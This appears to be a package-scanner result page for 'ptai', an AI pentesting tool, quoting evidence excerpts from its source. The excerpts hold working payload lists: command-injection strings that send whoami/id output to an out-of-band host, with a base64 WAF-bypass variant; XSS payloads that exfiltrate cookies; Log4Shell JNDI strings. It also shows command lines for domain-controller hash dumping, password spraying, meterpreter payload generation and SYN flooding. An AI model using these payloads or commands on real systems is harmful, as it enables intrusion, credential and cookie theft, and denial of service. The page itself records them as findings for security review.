ptai 1.4.1.post1
Pentesting tool with exploit payloads
“AI pentesting that proves its findings: machine oracles re-run each exploit, and every verified bug ships a proof capsule you can replay yo…”
Detects indicators in server logs that indicate an exploitation attempt of CVE-2021-44228Detects obfuscation methods used to evade detection in log4j exploitation attempt of CVE-2021-44228
SHA-25636095dd46da2305e3b128743765fc50fd2d5c1d49faf0c536495fcfb18d8cf8f
Evidence
109:43… r]:
110 return render_all(list(_XXE), oast)
111
112
113# ─── Blind RCE (command injection) ───────────────────────────────────────
114# Covers Linux + Windows; both DNS-only (works behind egress firewalls) and
115# HTTP-bound. Source: NotSoSecure OOB cheatsheet + Tevora blog.
116
117_RCE: tuple[str, ...] = (
118 ";curl http://{OAST}/$(whoami);",
119 ";wget -q http://{OAST}/$(id);",
120 "`nslookup $(whoami).{OAST}`",
121 "$(dig +short {OAST})",
122 "|ping -c1 {OAST}",
123 "&ping -n 1 {OAST}", # Windows
124 # Base64-wrapped for WAF bypass
125 ";echo Y3VybCBodHRwOi8ve09BU1R9Lw==|base64 -d|sh;",
126)
127
128
129def rce_oob_payloads(oast: str) -> list[str]:
130 return render_all(list(_RCE), oast)
131
132
133# ─── Blind stored XSS ────────────────────────────────────────────────────
134# All five fire if rendered in HTML context with no CSP / sandbox. Cookie
135# exfil is the standard confirm signal.
136
137_STORED_XSS: tuple[str, ...] = (
138 "<img src=x onerror=\"fetch('http://{OAST}/?c='+document.cookie)\">",
139 "<script src=\"http://{OAST}/j\"></script>",
140 "<svg onload=\"navigator.sendBeacon('http://{OAST}/',document.cookie)\">",
141 "\"><img src=x onerror=this.src='http://{OAST}/?'+btoa(document.cookie)>",
142 "<iframe srcdoc=\"<script>fetch('http://{OAST}/?='+document.cookie)</script>\">",
143)
144
⋯8 lines
182:13… vant for legacy stacks; spray into common-logged headers.
183
184_LOG4SHELL: tuple[str, ...] = (
185 "${jndi:ldap://{OAST}/a}",
186 "${jndi:dns://{OAST}/a}",
187 "${jndi:rmi://{OAST}/a}",
188 # WAF-bypass via ${lower:} expansions
189 "${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://{OAST}/a}",
190)
191
192
193def log4shell_payloads(oast: str) -> list[str]:
194 return render_all(list(_LOG4SHELL), oast)
79:14… "impacket-secretsdump", "Hash dump from DC", "impacket-secretsdump '<domain>/<user>:<pass>@<dc>' -just-dc"),
80 ("kerbrute", "Fast Kerberos username/password brute", "kerbrute passwordspray -d <domain> --dc <dc> users.txt 'Spring2026!'"),
81 ("certipy", "AD CS abuse", "certipy f …
146:23… oit", "metasploit", "payload"],
147 "tools": [
148 ("msfvenom", "Payload generation", "msfvenom -p windows/x64/meterpreter/reverse_https LHOST=<lhost> LPORT=443 -f exe -o payload.exe"),
149 ("msfconsole", "Metasploit console", "msfconsole -q"),
150 ("routersploit", "Router exploitation framework", "rsf.py"),
151 ("commix", "Command injection automation", "commix --url='<url>'"),
152 ("evil-winrm", "Windows post-exploitation shell", "evil-winrm -i <target> -u <user> -p <pass>"),
153 ],
154 },
155 {
156 "id": 9,
157 …
225:70… target>"),
226 ("goldeneye", "HTTP DoS test tool", "goldeneye <target>"),
227 ("hping3", "TCP/IP packet crafter", "sudo hping3 -S --flood -p 80 <target>"),
228 ],
229 },
⋯4 lines
Showing the top 5 files — 7 more files (81 regions) not shown.
No evidence locations were recorded for this file. Raw result